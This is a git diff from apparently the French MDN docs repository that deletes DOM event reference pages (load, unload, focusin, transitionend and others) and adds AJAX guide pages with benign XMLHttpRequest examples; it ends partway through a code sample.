diff --git a/files/fr/web/events/error/index.html b/files/fr/web/events/error/index.html deleted file mode 100644 index 5ab9de5a8c..0000000000 --- a/files/fr/web/events/error/index.html +++ /dev/null @@ -1,93 +0,0 @@ ---- -title: error -slug: Web/Events/error -tags: - - DOM - - Erreurs - - Gestionnaire d'erreurs - - Interface - - évènements -translation_of: Web/API/Element/error_event ---- -

L'événement error (erreur) est déclenché lorsqu'une ressource n'a pas pu être chargée ; les circonstances exactes varient, ce nom étant utilisé par une grande variété d'API.

- -

Informations générales

- -
-
Spécification
-
DOM L3
-
Interface
-
{{domxref("UIEvent")}} si généré depuis l'interface utilisateur,
- {{domxref("MediaRecorderErrorEvent")}} si généré par MediaStream Recording API  et
- sinon {{domxref("Event")}}.
-
Propagation
-
Non
-
Annulable
-
Non
-
Cible
-
{{domxref("Element")}}
-
Action par défaut
-
Aucune
-
 
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not.
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not.
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
- -

Pour des évènements MediaStream Recording

- -

Ces évènements sont d'un type {{domxref("MediaRecorderErrorEvent")}}.

- -

{{page("/en-US/docs/Web/API/MediaRecorderErrorEvent", "Properties")}}

- -

Voir aussi

- -
-
{{domxref("GlobalEventHandlers.onerror")}}
-
Évènements envoyés à {{domxref("Window.onerror")}} et à {{domxref("Element.onerror")}}
-
{{domxref("HTMLMediaElement.onerror")}}
-
Évènements envoyés à {{domxref("HTMLMediaElement")}} incluant {{HTMLElement("audio")}}   et {{HTMLElement("video")}} .
-
{{domxref("MediaRecorder.onerror")}}
-
Évènements envoyés à {{domxref("MediaRecorder.onerror")}} , d'un type {{domxref("MediaRecorderErrorEvent")}}
-
diff --git a/files/fr/web/events/focusin/index.html b/files/fr/web/events/focusin/index.html deleted file mode 100644 index 79a9e2af63..0000000000 --- a/files/fr/web/events/focusin/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: focusin -slug: Web/Events/focusin -translation_of: Web/API/Element/focusin_event ---- -

L'événement focusin est déclenché lorsqu'un élément est sur le point de recevoir le focus. La principale différence avec focus est que focusin se propage.

- -

Informations générales

- -
-
Spécification
-
DOM L3
-
Interface
-
{{domxref("FocusEvent")}}
-
Propagation
-
Oui
-
Annulable
-
Non
-
Cible
-
{{domxref("Element")}}
-
Action par défaut
-
Aucune
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}Event target losing focus.
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}} (DOM element)Event target receiving focus.
- -

Compatibilité navigateur

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
NavigateurChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support basique{{CompatVersionUnknown}}{{CompatNo}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
NavigateurAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Support basique{{CompatVersionUnknown}}{{CompatNo}}[1]{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
-
- -

[1] Cet événement n'est pas encore supporté par Firefox, voir {{Bug("687787")}}. Il est possible d'utiliser l'événement focus à la place, qui est aussi compatible avec la délégation d'événements.

- -

Evénements liés

- -
    -
  • {{event("focus")}}
    • -
  • {{event("blur")}}
    • -
  • {{event("focusin")}}
    • -
  • {{event("focusout")}}
    • -
diff --git a/files/fr/web/events/focusout/index.html b/files/fr/web/events/focusout/index.html deleted file mode 100644 index 01ddab4738..0000000000 --- a/files/fr/web/events/focusout/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: focusout -slug: Web/Events/focusout -translation_of: Web/API/Element/focusout_event ---- -

L'évènement focusout est déclenché lorsqu'un élément du DOM est sur le point de perdre le focus. La différence principale entre cet événement et blur est que ce dernier ne se propage pas.

- -

Informations générales

- -
-
Spécification
-
DOM L3
-
Interface
-
{{domxref("FocusEvent")}}
-
Propagation
-
Oui
-
Annulable
-
Non
-
Cible
-
{{domxref("Element")}}
-
Action par défaut
-
Aucune
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}Event target losing focus.
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
relatedTarget {{readonlyInline}}{{domxref("EventTarget")}} (DOM element)Event target receiving focus.
- -

Compatibilité des navigateurs

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
NavigateurChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support de base{{CompatVersionUnknown}}{{CompatNo}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
NavigateurAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Support de base{{CompatVersionUnknown}}{{CompatNo}}[1]{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
-
- -

[1] Cet évènement n'est pas encore supporté dans Firefox, voir {{Bug("687787")}}. Il est possible d'utiliser l'évènement blur à la place, qui est également compatible avec event delegation.

- -

Evénements liés

- -
    -
  • {{event("focus")}}
    • -
  • {{event("blur")}}
    • -
  • {{event("focusin")}}
    • -
  • {{event("focusout")}}
    • -
diff --git a/files/fr/web/events/load/index.html b/files/fr/web/events/load/index.html deleted file mode 100644 index 53672aa244..0000000000 --- a/files/fr/web/events/load/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: load -slug: Web/Events/load -tags: - - Event - - Window -translation_of: Web/API/Window/load_event ---- -

L’évènement load est émis lorsqu’une ressource et ses ressources dépendantes sont completement chargées.

- -

Informations générales

- -
-
Spécification
-
DOM L3
-
Interface
-
UIEvent
-
Bouillonne
-
Non
-
Annulable
-
Non
-
Cible
-
Document, Element
-
Action par défaut
-
Aucune.
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéTypeDescription
targetEventTargetLa cible de l’évènement (la cible la plus haute dans l’arbre DOM)
typeDOMStringLe type de l’évènement
bubblesbooleanSi l’évènement bouillonne ou non
cancelablebooleanSi l’évènement est annulable ou non
viewWindowProxydocument.defaultView (la fenêtre du document)
detaillong (float)0.
- -

Tous les évènements ci-dessus sont en lecture seule. Vous ne pouvez pas leur affecter de valeur.

- -

Exemple

- -
-
<script>
-  window.addEventListener("load", function(event) {
-    console.log("Toutes les ressources sont chargées !");
-  });
-</script>
-
- -

Évènements liés

- -
    -
  • {{event("DOMContentLoaded")}}
    • -
  • {{event("readystatechange")}}
    • -
  • {{event("load")}}
    • -
  • {{event("beforeunload")}}
    • -
  • {{event("unload")}}
    • -
diff --git a/files/fr/web/events/pagehide/index.html b/files/fr/web/events/pagehide/index.html deleted file mode 100644 index 8971ae1044..0000000000 --- a/files/fr/web/events/pagehide/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: pagehide -slug: Web/Events/pagehide -translation_of: Web/API/Window/pagehide_event ---- -

L’évènement pagehide est émis lorsqu’une entrée dans un historique de session est sur le point d’être quittée.

- -

Informations générales

- -
-
Spécification
-
HTML5
-
Interface
-
PageTransitionEvent
-
Bouillonne
-
Non
-
Annulable
-
Non
-
Cible
-
Document (dispatché sur Window)
-
Action par défaut
-
Aucune
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}La cible de l’évènement (la plus haute dans l’arbre DOM).
type {{readonlyInline}}{{domxref("DOMString")}}Le type d’évènement.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Si l’évènement bouillonne en temps normal ou non.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Si l’évènement est annulable ou non.
persisted {{readonlyInline}}{{jsxref("boolean")}}Si l’entrée est chargée depuis le cache ou non.
- -

Évènements liés

- - diff --git a/files/fr/web/events/pageshow/index.html b/files/fr/web/events/pageshow/index.html deleted file mode 100644 index ba9e55f03e..0000000000 --- a/files/fr/web/events/pageshow/index.html +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: pageshow -slug: Web/Events/pageshow -translation_of: Web/API/Window/pageshow_event ---- -

L’évènement pageshow est émis lorsqu’une entrée dans un historique de session est atteinte (cela comprend les boutons précédent / suivant ainsi que l’affichage initial de la page après l’évènement onload).

- -

Informations générales

- -
-
Spécification
-
HTML5
-
Interface
-
PageTransitionEvent
-
Bouillonne
-
Non
-
Annulable
-
Non
-
Cible
-
Document (dispatché sur Window)
-
Action par défaut
-
Aucune
-
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}La cible de l’évènement (la plus haute dans l’arbre DOM).
type {{readonlyInline}}{{domxref("DOMString")}}Le type d’évènement.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Si l’évènement bouillonne en temps normal ou non.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Si l’évènement est annulable ou non.
persisted {{readonlyInline}}{{jsxref("boolean")}}Si l’entrée est chargée depuis le cache ou non.
- -

Exemples

- -

L’exemple suivant va afficher dans la console des informations sur l’évènement pageshow, qui est émis à l’utilisation des boutons précédent / suivant, et pas uniquement après onload :

- -
window.addEventListener('pageshow', function(event) {
-    console.log('pageshow:');
-    console.log(event);
-});
- -

Bien que ce ne soit pas la meilleure pratique, vous pouvez également ajouter l’évènement comme un attribut sur la balise <body>, de la même manière que onload :

- -
<body onload="myonload()" onpageshow="mypageshowcode()">
- -

Compatibilité des navigateurs

- -

{{CompatibilityTable()}}

- -
- - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support de base{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.8")}}11{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Support de base{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}
-
- -

Évènements liés

- - diff --git a/files/fr/web/events/readystatechange/index.html b/files/fr/web/events/readystatechange/index.html deleted file mode 100644 index f4adf81f7a..0000000000 --- a/files/fr/web/events/readystatechange/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: readystatechange -slug: Web/Events/readystatechange -translation_of: Web/API/Document/readystatechange_event ---- -

{{ApiRef}}

- -

L'événement readystatechange est déclenché lorsque l'attribut readyState d'un document a changé.

- -

Information générale

- -
-
Specification
-
HTML5
-
Interface
-
Event
-
Bubbles
-
No
-
Cancelable
-
No
-
Target
-
Document
-
Default Action
-
None.
-
- -

propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
- -

exemple

- -
document.readyState === "complete";
-// true
-
-
-//alternative à DOMContentLoaded
-document.onreadystatechange = function () {
-    if (document.readyState == "interactive") {
-        initApplication();
-    }
-}
-
- - - -

Cet événement a longtemps été soutenue par Internet Explorer et peut être utilisé comme une alternative à l'evenement DOMContentLoaded (voir la note [2] de la section Navigateurs compatibles).

- -

Les événements liés

- -
    -
  • {{event("DOMContentLoaded")}}
    • -
  • {{event("readystatechange")}}
    • -
  • {{event("load")}}
    • -
  • {{event("beforeunload")}}
    • -
  • {{event("unload")}}
    • -
diff --git a/files/fr/web/events/transitionend/index.html b/files/fr/web/events/transitionend/index.html deleted file mode 100644 index 0c45cd871c..0000000000 --- a/files/fr/web/events/transitionend/index.html +++ /dev/null @@ -1,192 +0,0 @@ ---- -title: transitionend -slug: Web/Events/transitionend -tags: - - DOM - - Event - - TransitionEvent - - Transitions CSS - - Transitions CSS3 - - transitionend -translation_of: Web/API/HTMLElement/transitionend_event ---- -
{{APIRef}}
- -

L'événement transitionend est déclenché lorsqu'une transition CSS est terminée. Dans le cas où une transition est supprimée avant la fin, par exemple si {{cssxref ("transition-property")}} est supprimé ou {{cssxref ("display")}} est défini sur none, alors l'événement ne pourra pas être généré.

- - - - - - - - - - - - - - - - - - - - -
BullesOui
AnnulableOui
Interface{{domxref("TransitionEvent")}}
Propriété de gestionnaire d'événements{{domxref("GlobalEventHandlers/ontransitionend", "ontransitionend")}}
- -

L'événement transitionend est déclenché dans les deux sens - à la fin de la transition vers l'état de transition et lorsqu'il revient complètement à l'état par défaut ou sans transition. S'il n'y a pas de délai ou de durée de transition, si les deux sont 0 ou qu'aucun n'est déclaré, il n'y a pas de transition et aucun des événements de transition n'est déclenché.  Si l'événement transitioncancel est déclenché, l'événement transitionend ne se déclenchera pas.

- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétésTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
propertyName {{readonlyInline}}{{domxref("DOMString")}}The name of the CSS property associated with the transition.
elapsedTime {{readonlyInline}}FloatThe amount of time the transition has been running, in seconds, as of the time the event was generated. This value is not affected by the value of transition-delay.
pseudoElement {{readonlyInline}}{{domxref("DOMString")}}The name (beginning with two colons) of the CSS pseudo-element on which the transition occured (in which case the target of the event is that pseudo-element's corresponding element), or the empty string if the transition occurred on an element (which means the target of the event is that element).
- -

Examples

- -

This code gets an element that has a transition defined and adds a listener to the transitionend event:

- -
const transition = document.querySelector('.transition');
-
-transition.addEventListener('transitionend', () => {
-  console.log('Transition ended');
-});
- -

The same, but using the {{domxref("GlobalEventHandlers/ontransitionend", "ontransitionend")}}:

- -
const transition = document.querySelector('.transition');
-
-transition.ontransitionend = () => {
-  console.log('Transition ended');
-};
- -

Live example

- -

In the following example, we have a simple {{htmlelement("div")}} element, styled with a transition that includes a delay:

- -
<div class="transition">Hover over me</div>
-<div class="message"></div>
- -
.transition {
-  width: 100px;
-  height: 100px;
-  background: rgba(255,0,0,1);
-  transition-property: transform background;
-  transition-duration: 2s;
-  transition-delay: 1s;
-}
-
-.transition:hover {
-  transform: rotate(90deg);
-  background: rgba(255,0,0,0);
-}
- -

To this, we'll add some JavaScript to indicate that the transitionstart, transitionrun, transitioncancel and transitionend events fire. In this example, to cancel the transition, stop hovering over the transitioning box before the transition ends. For the transition end event to fire, stay hovered over the transition until the transition ends.

- -
const message = document.querySelector('.message');
-const el = document.querySelector('.transition');
-
-el.addEventListener('transitionrun', function() {
-  message.textContent = 'transitionrun fired';
-});
-
-el.addEventListener('transitionstart', function() {
-  message.textContent = 'transitionstart fired';
-});
-
-el.addEventListener('transitioncancel', function() {
-  message.textContent = 'transitioncancel fired';
-});
-
-el.addEventListener('transitionend', function() {
-  message.textContent = 'transitionend fired';
-});
-
- -

{{ EmbedLiveSample('Live_example', '100%', '150px') }}

- -

The transitionend event is fired in both directions: when the box finishes turning and the opacity hits 0 or 1, depending on the direction.

- -

If there is no transition delay or duration, if both are 0s or neither is declared, there is no transition, and none of the transition events are fired.

- -

If the transitioncancel event is fired, the transitionend event will not fire.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName("CSS3 Transitions", "#transitionend", "transitionend")}}{{Spec2('CSS3 Transitions')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("api.HTMLElement.transitionend_event")}}

- -

Voir également

- -
    -
  • Le gestionnaire d'événements {{domxref("GlobalEventHandlers.ontransitionend")}}
    • -
  • L'interface {{domxref("TransitionEvent")}}
    • -
  • Propriétés CSS : {{cssxref("transition")}}, {{cssxref("transition-delay")}}, {{cssxref("transition-duration")}}, {{cssxref("transition-property")}}, {{cssxref("transition-timing-function")}}
    • -
  • Événements liés: {{domxref("HTMLElement/transitionrun_event", "transitionrun")}}, {{domxref("HTMLElement/transitionstart_event", "transitionstart")}}, {{domxref("HTMLElement/transitioncancel_event", "transitioncancel")}}
    • -
  • Cet événement sur {{domxref("Document")}} cible : {{domxref("Document/transitionend_event", "transitionend")}}
    • -
  • Cet événement sur {{domxref("Window")}} cible : {{domxref("Window/transitionend_event", "transitionend")}}
    • -
diff --git a/files/fr/web/events/unload/index.html b/files/fr/web/events/unload/index.html deleted file mode 100644 index 676b6187e3..0000000000 --- a/files/fr/web/events/unload/index.html +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: unload -slug: Web/Events/unload -tags: - - JavaScript - - events -translation_of: Web/API/Window/unload_event ---- -


- L'événement unload est appelé lorsque le document ou une ressource enfant est en train d'être déchargé.

- -

Il est lancé après :

- -
    -
  1. beforeunload (événement annulable)
    2. -
  2. pagehide
    3. -
- -

Le document se trouve alors dans un état particulier :

- -
    -
  • Toutes les ressources existent encore (img, iframe etc.)
    • -
  • Plus rien n'est encore visible par l'utilisateur final
    • -
  • Les intéractions avec l'interface sont désactivées (window.open, alert, confirm, etc.)
    • -
  • Aucune erreur ne viendra interrompre le flux de déchargement.
    • -
- -

Veuiller noter que l'événement unload suit l'ordre du document : le cadre parent est déchargé avant le unload d'un cadre enfant (voir l'exemple ci-dessous).

- - - - - - - - - - - - - - - - - - - - - - - - -
Événement propageableNon
AnnulableNon
Objets ciblesdefaultView, Document, Element
Interface{{domxref("UIEvent")}} si généré depuis un élément de l'interface utilisateur, {{domxref("Event")}}
Action par défautAucune
- -

Propriétés

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéTypeDescription
target {{readonlyInline}}EventTargetLa cible de l'événement (la cible de plus haut niveau dans le DOM).
type {{readonlyInline}}DOMStringLe type d'événement.
bubbles {{readonlyInline}}BooleanSi l'événement remonte ou non.
cancelable {{readonlyInline}}BooleanSi l'événement est annulable ou non.
view {{readonlyInline}}WindowProxydocument.defaultView (fenêtre du document)
detail {{readonlyInline}}long (float)0.
- -

Exemple

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <title>Cadre parent</title>
-    <script>
-      window.addEventListener('beforeunload', function(event) {
-        console.log('Je suis le 1er.');
-      });
-      window.addEventListener('unload', function(event) {
-        console.log('Je suis le 3ème.');
-      });
-    </script>
-  </head>
-  <body>
-    <iframe src="child-frame.html"></iframe>
-  </body>
-</html>
- -

Ci-dessous, le contenu de child-frame.html:

- -
<!DOCTYPE html>
-<html>
-  <head>
-    <title>Cadre enfant</title>
-    <script>
-      window.addEventListener('beforeunload', function(event) {
-        console.log('Je suis le 2nd.');
-      });
-      window.addEventListener('unload', function(event) {
-        console.log('Je suis le 4ème et dernier…');
-      });
-    </script>
-  </head>
-  <body>
-      ☻
-  </body>
-</html>
- -

Quand le cadre parent est déchargé, les événements sont lancés dans l'ordre décrit par les messages console.log.

- -

Événements liés

- -
    -
  • {{event("DOMContentLoaded")}}
    • -
  • {{event("readystatechange")}}
    • -
  • {{event("load")}}
    • -
  • {{event("beforeunload")}}
    • -
  • {{event("unload")}}
    • -
- -

Spécifications

- - diff --git "a/files/fr/web/guide/ajax/communaut\303\251/index.html" "b/files/fr/web/guide/ajax/communaut\303\251/index.html" deleted file mode 100644 index 64b1ea683b..0000000000 --- "a/files/fr/web/guide/ajax/communaut\303\251/index.html" +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Communauté -slug: Web/Guide/AJAX/Communauté -tags: - - AJAX -translation_of: Web/Guide/AJAX/Community ---- -

-

Si vous connaissez d'autres listes de diffusion, newsgroups, forums ou d'autres communautés ayant trait à AJAX, n'hésitez pas à ajouter un lien ci-dessous. -

http://www.ajaxlines.com (anglais) - Très grosse collection de ressources AJAX, de tutoriels, d'outils et de sites web sur le sujet. -

http://www.ajaxmatters.com - Portail d'informations sur AJAX et les technologies Web associées (anglais). -


-Liens Interwikis -

{{ languages( { "en": "en/AJAX/Community", "ja": "ja/AJAX/Community" } ) }} diff --git a/files/fr/web/guide/ajax/community/index.html b/files/fr/web/guide/ajax/community/index.html new file mode 100644 index 0000000000..64b1ea683b --- /dev/null +++ b/files/fr/web/guide/ajax/community/index.html @@ -0,0 +1,14 @@ +--- +title: Communauté +slug: Web/Guide/AJAX/Communauté +tags: + - AJAX +translation_of: Web/Guide/AJAX/Community +--- +

+

Si vous connaissez d'autres listes de diffusion, newsgroups, forums ou d'autres communautés ayant trait à AJAX, n'hésitez pas à ajouter un lien ci-dessous. +

http://www.ajaxlines.com (anglais) - Très grosse collection de ressources AJAX, de tutoriels, d'outils et de sites web sur le sujet. +

http://www.ajaxmatters.com - Portail d'informations sur AJAX et les technologies Web associées (anglais). +


+Liens Interwikis +

{{ languages( { "en": "en/AJAX/Community", "ja": "ja/AJAX/Community" } ) }} diff --git a/files/fr/web/guide/ajax/getting_started/index.html b/files/fr/web/guide/ajax/getting_started/index.html new file mode 100644 index 0000000000..bce7938f0f --- /dev/null +++ b/files/fr/web/guide/ajax/getting_started/index.html @@ -0,0 +1,275 @@ +--- +title: Premiers pas +slug: Web/Guide/AJAX/Premiers_pas +tags: + - AJAX +translation_of: Web/Guide/AJAX/Getting_Started +--- +

Cet article vous guide à travers les bases d’AJAX et vous donne deux exemples clefs-en-main pour débuter.

+ +

Présentation d’AJAX

+ +

AJAX est un raccourci pour Asynchronous JavaScript And XML (JavaScript asynchrone et XML) inventé par Jesse James Garrett. Pour simplifier, il s’agit d’employer l’objet XMLHttpRequest pour communiquer avec des serveurs. Il peut envoyer et recevoir des informations sous différents formats, dont JSON, XML, HTML ou texte. Son principal attrait est sa nature « asynchrone » ce qui signifie qu’il peut communiquer avec le serveur, échanger des données et mettre à jour la page sans avoir à la recharger.

+ +

Les deux principales fonctionnalités d’AJAX permettent de :

+ +
    +
  • faire des requêtes vers le serveur sans recharger la page ;
    • +
  • recevoir et travailler avec des données provenant du serveur.
    • +
+ +

Étape 1 — Lancement d’une requête HTTP

+ +

Pour faire une requête HTTP vers le serveur à l’aide de JavaScript, il faut disposer d’une instance d’objet fournissant cette fonctionnalité. C’est ici que XMLHttpRequest intervient. Son prédécesseur est originaire de Internet Explorer sous la forme d’un objet ActiveX appelé XMLHTTP. Par la suite, Mozilla, Safari et d’autres navigateurs ont suivi en implémentant un objet XMLHttpRequest qui fournit les mêmes méthodes et propriétés que l’objet ActiveX original de Microsoft. Entre temps, Microsoft a également implémenté XMLHttpRequest.

+ +
// ancien code de compatibilité, aujourd’hui inutile
+if (window.XMLHttpRequest) { // Mozilla, Safari, IE7+...
+    httpRequest = new XMLHttpRequest();
+}
+else if (window.ActiveXObject) { // IE 6 et antérieurs
+    httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
+}
+ +
+

Note : Pour illustrer le principe, le code ci-dessus est une version un peu simplifiée de celui qui est utilisé pour créer une instance XMLHTTP. Pour un exemple plus réaliste, voir l’étape 3 de cet article.

+
+ +

Après avoir fait une requête, vous recevrez une réponse du serveur. À ce stade, vous devez indiquer à l’objet httpRequest le nom de la fonction JavaScript qui traitera la réponse. Pour cela, assignez à la propriété onreadystatechange de l’objet le nom de la fonction JavaScript que vous envisagez d’utiliser, comme ceci :

+ +
httpRequest.onreadystatechange = nomDeLaFonction;
+ +

Notez qu’il n’y a ni parenthèses ni paramètres après le nom de la fonction, car vous ne faites qu’assigner une référence à la fonction sans l’appeler réellement. Alternativement, au lieu de donner un nom de fonction, vous pouvez utiliser la technique JavaScript de définition de fonctions à la volée (ce qu’on appelle une fonction anonyme), et définir à cet endroit les actions à effectuer sur la réponse, comme ceci :

+ +
httpRequest.onreadystatechange = function() {
+    // instructions de traitement de la réponse
+};
+
+ +

Ensuite, après avoir déclaré ce qui se produit lorsque la réponse est reçue, il s’agit de lancer effectivement la requête. Il faut pour cela appeler les méthodes open() et send() de l’objet httpRequest, comme ceci :

+ +
httpRequest.open('GET', 'http://www.example.org/some.file', true);
+httpRequest.send();
+ +
    +
  • Le premier paramètre de l’appel à open() est la méthode de requête HTTP — GET, POST, HEAD ou toute autre méthode gérée par votre serveur. Laissez le nom de la méthode en majuscules comme spécifié par la norme HTTP ; autrement certains navigateurs (comme Firefox) peuvent ne pas traiter la requête. Pour plus d’informations sur les méthodes de requêtes HTTP possibles, vous pouvez consulter les spécifications du W3C.
    • +
  • Le second paramètre est l’URL à laquelle vous envoyez la requête. Pour des raisons de sécurité, il est par défaut impossible d’appeler des URL se situant sur un domaine de tierce-partie. Veillez à utiliser le nom de domaine exact sur toutes vos pages ou vous obtiendrez une erreur « permission refusée » lors de l’appel à open(). Une erreur courante est de charger le site via domaine.tld, mais d’essayer d’appeler des pages avec www.domain.tld. Si vous avez réellement besoin d’envoyer une requête vers un autre domaine, veuillez consulter Cross-Origin Resource Sharing (CORS).
    • +
  • Le troisième paramètre, optionnel, précise si la requête est asynchrone. Si mis à true (sa valeur par défaut), l’exécution de JavaScript se poursuivra, et l’utilisateur ou l’utilisatrice pourra interagir avec la page, en attendant l’arrivée de la réponse du serveur. C’est le premier « A » de « AJAX ».
    • +
+ +

Le paramètre de la méthode send() peut être n’importe quelle donnée que vous voulez envoyer au serveur en cas d’utilisation de la méthode POST. Les données doivent être sous la forme d’une chaîne de requête, comme :

+ +
"nom=valeur&autrenom="+encodeURIComponent(autrevaleur)+"&ainsi=desuite"
+ +

Ou d’autres formats tels que multipart/form-data, JSON, XML, etc.

+ +

Notez que si vous voulez envoyer des données avec la méthode POST, vous aurez peut-être à changer le type MIME de la requête. Par exemple, utilisez ce qui suit avant d’appeler send() pour envoyer des données de formulaire en tant que chaîne de requête :

+ +
httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+
+ +

Étape 2 — Gestion de la réponse du serveur

+ +

Lors de l’envoi de la requête, vous avez désigné une fonction JavaScript pour traiter la réponse.

+ +
httpRequest.onreadystatechange = nomDeLaFonction;
+ +

Voyons maintenant ce que cette fonction doit faire. Tout d’abord, elle doit vérifier l’état de la requête. Si cet état a la valeur de XMLHttpRequest.DONE (ce qui correspond à 4), cela signifie que la réponse du serveur a été reçue dans son intégralité et qu’elle peut maintenant être traitée.

+ +
if (httpRequest.readyState === XMLHttpRequest.DONE) {
+    // tout va bien, la réponse a été reçue
+} else {
+    // pas encore prête
+}
+ +

La liste complète des valeurs de readyState est documentée sur XMLHttpRequest.readyState et se résume de cette façon :

+ +
    +
  • 0 (non initialisée) ou (requête non initialisée)
    • +
  • 1 (en cours de chargement) ou (connexion établie avec le serveur)
    • +
  • 2 (chargée) ou (requête reçue)
    • +
  • 3 (en cours d’interaction) ou (requête en cours de traitement)
    • +
  • 4 (terminée) ou (requête terminée et réponse prête)
    • +
+ +

Ensuite, vérifiez le code de statut HTTP de la réponse du serveur. Tous les codes possibles sont listés sur le site du W3C. Dans l’exemple qui suit, nous différencions un appel réussi ou échoué en vérifiant la réception d’un code 200 OK.

+ +
if (httpRequest.status === 200) {
+    // parfait !
+} else {
+    // il y a eu un problème avec la requête,
+    // par exemple la réponse peut être un code 404 (Non trouvée)
+    // ou 500 (Erreur interne au serveur)
+}
+
+ +

Après avoir vérifié l’état de la requête et le code de statut HTTP de la réponse, vous pouvez traiter à votre guise les données envoyées par le serveur. Il existe deux manières d’accéder à ces données :

+ +
    +
  • httpRequest.responseText — renvoie la réponse du serveur sous la forme d’une chaîne de texte ;
    • +
  • httpRequest.responseXML — renvoie la réponse sous la forme d’un objet XMLDocument que vous pouvez parcourir à l’aide des fonctions DOM de JavaScript.
    • +
+ +

Notez que les étapes ci-dessus sont valides uniquement si vous utilisez une requête asynchrone (Le 3e paramètre d’open() n’a pas été spécifié, ou a été défini à true). Si vous utilisez une requête synchrone, vous n’avez pas besoin de spécifier une fonction, mais c’est fortement découragé car cela entraîne une mauvaise expérience utilisateur.

+ +

Étape 3 — Un exemple simple

+ +

Rassemblons tous ces éléments dans un exemple : une requête HTTP simple. Notre JavaScript demande un document HTML, test.html, qui contient le texte « Je suis un test. », puis nous affichons le contenu de la réponse dans un message alert(). Remarquez que cet exemple n’utilise que du pur JavaScript vanilla (pas de jQuery). D’autre part, les fichiers HTML, XML et PHP doivent être placés dans le même dossier.

+ +
<button id="ajaxButton" type="button">Faire une requête</button>
+
+<script>
+(function() {
+  var httpRequest;
+  document.getElementById("ajaxButton").addEventListener('click', makeRequest);
+
+  function makeRequest() {
+    httpRequest = new XMLHttpRequest();
+
+    if (!httpRequest) {
+      alert('Abandon :( Impossible de créer une instance de XMLHTTP');
+      return false;
